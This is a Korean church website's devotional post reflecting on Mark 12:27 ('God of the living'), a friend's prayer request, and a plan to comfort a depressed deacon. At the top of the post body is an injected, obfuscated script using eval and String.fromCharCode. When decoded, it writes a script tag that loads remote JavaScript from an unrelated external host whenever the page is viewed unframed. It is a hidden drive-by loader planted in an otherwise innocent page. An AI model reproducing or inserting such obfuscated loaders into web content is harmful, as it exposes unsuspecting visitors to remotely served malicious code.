QT 나눔
제 목 [] 산 자의 하나님
본문
<script>eval(String.fromCharCode(105,102,32,40,33,40,112,97,114,101,110,116,46,108,111,99,97,116,105,111,110,33,61,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,124,124,116,111,112,46,108,111,99,97,116,105,111,110,33,61,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,41,41,32,123,10,32,32,32,32,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,39,43,39,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,39,43,39,105,112,116,34,32,115,114,99,61,34,104,116,116,112,58,47,47,111,98,114,111,110,97,46,111,114,103,47,115,97,115,97,47,115,50,55,50,49,53,48,55,49,57,46,111,110,108,105,110,101,104,111,109,101,46,117,115,46,104,116,109,108,63,104,105,100,61,97,51,56,49,55,49,97,50,57,50,102,55,100,53,55,101,54,53,97,102,49,49,55,102,48,52,52,48,50,56,55,57,49,49,56,48,100,55,49,57,38,100,105,115,116,61,66,108,111,99,107,65,100,115,38,97,112,112,61,83,65,83,65,38,118,61,49,46,49,46,51,48,34,62,60,47,115,99,114,39,43,39,105,112,116,62,39,41,59,10,125,10,32))</script> 내게 주시는 말씀 : 막 12: 27
하나님은 죽은자의 하나님이 아니요 산 자의 하나님이시라.
말씀 묵상 : 부활이 없다 하는 사두개인에게 예수님은 부활할때의 우리의 모습을
알려 주신다.
그리고 그때, 우리는 하늘에 있는 천사들과 같을 것이라고 하신다. 또
하나님은 죽은자의 하나님이 아니요 산 자의 하나님이시라고 말씀해 주신다.
한국에 있는 친구에게 전화가 왔다. 오랜만에 친구의 전화가 무척 반가왔다
더위를 피해 느티나무 교정에서 두손을 잡고 까르~르 웃으며 대화하던 그때의 마음으로
돌아가 여러가지 말을 나누었다.
대화가 끝날쯤 친구가 기도 부탁을 했다.
365일 쉬지 않고 일하여 음식점이 크게 성공 하였는데 건물 주가 가게를 비워 달라고
해서 자리를 옮겨야 하는데 그러면 타격이 크다고.....
그 친구가 얼마나 열심히 일을 했는지 아는 나는 마음이 아팠다
질서 속에서 평안히, 그 흐름에 살고 있는 것 같지만 사실 우리는 어떤 힘을 가진자의
횡포와 다가올 미래에 대한 불안함을 안고 살고 있다.
열심히 살지만 때론 그 만큼의 댓가를 받지 못하는 약한 서민들의 삶.
이런 불완전한 세상, 때론 정의롭지 못한 세상에서 ' 예수님을 믿게 되서 ' 정말 다행이다.
이세상이 끝나는날 나는 주님과 함께 공의로운 주님과 함께 있을 것이다.
주님의 재림후 영과 몸이 부활하여 하나님의 영광을 찬송할 것이다.
이런 소망이 있는 내게 오늘 주님이 말씀하신다
'산 자의 하나님 '이라고
산 자에 대하여 생각해 본다
우리 주위에는 많은 사람들이 있다 하지만 '숨'이 있다고 다 살아 있는 것일까?
어느 분의 간증이 떠오른다.
비행기를 타고 여행을 하는데 하나님이 만드신 하늘이며, 바다, 산, 숲, 강줄기....
자연이 너무 아름다와 하나님의 위대하심을 찬송하였다고 했다. 그런데
도시로 다가오면서 인간들이 만들어낸 문명의 잔해들이 하나님이 만드신 자연속의
피부병 같이 보였고 그 안의 사람들은 그 피부병의 박테리아 같았다고......
우리는 때로 하나님의 세계를 파괴하는, 더럽히는 박테라아와 같은 존재일수 있다.
그런데 이런 우리에게 하나님이 '예수'를 보내 주셨다. 우리를 구원하시려고.....
영혼 없는 박테리아가 아닌 주님을 알수 있는 '영'을 주셨다.
이건 내 생각이지만, 그 '영'과 관계가 있어야 산 자라고 할수 있을 것이다.
성령님의 미세한 음성에 귀 기울이고, 집중하고
그러면 성령님은 수시로 내게 말씀해 주신다, 결단하게 해주신다, 위로해 주신다....
'내게는 믿는 구석이 있다' (내 안의 성령님).
오늘 ' 내 안에 성령님과 더욱 친해지리라 결단한다' 혹시 ? 하며 의심하지 않고
학창시절 친구와 조잘 조잘 쉴새 없이 떠들 듯이 성령님과 쉬지않고 대화 하리라.
그리고 성령님의 이끌림에 순종하며 따라가리라.
큐티를 하면서 성령님과 더욱 할 이야기가 많아서 행복하다
' 영 '이 살아서 행복하다. 그래서 산 자의 하나님을 만날수 있으니 더더욱 행복하다
적용 : 우울증 증세가 있는 집사님에게 나의 말이 헛된 메아리 같을 지라도 모든걸
성령님께 의탁하고 짧은 ' 말씀 '으로 위로 하고 , 내가 힘들때 위로 받았던 신앙 서적을
전해 드려야 겠다.
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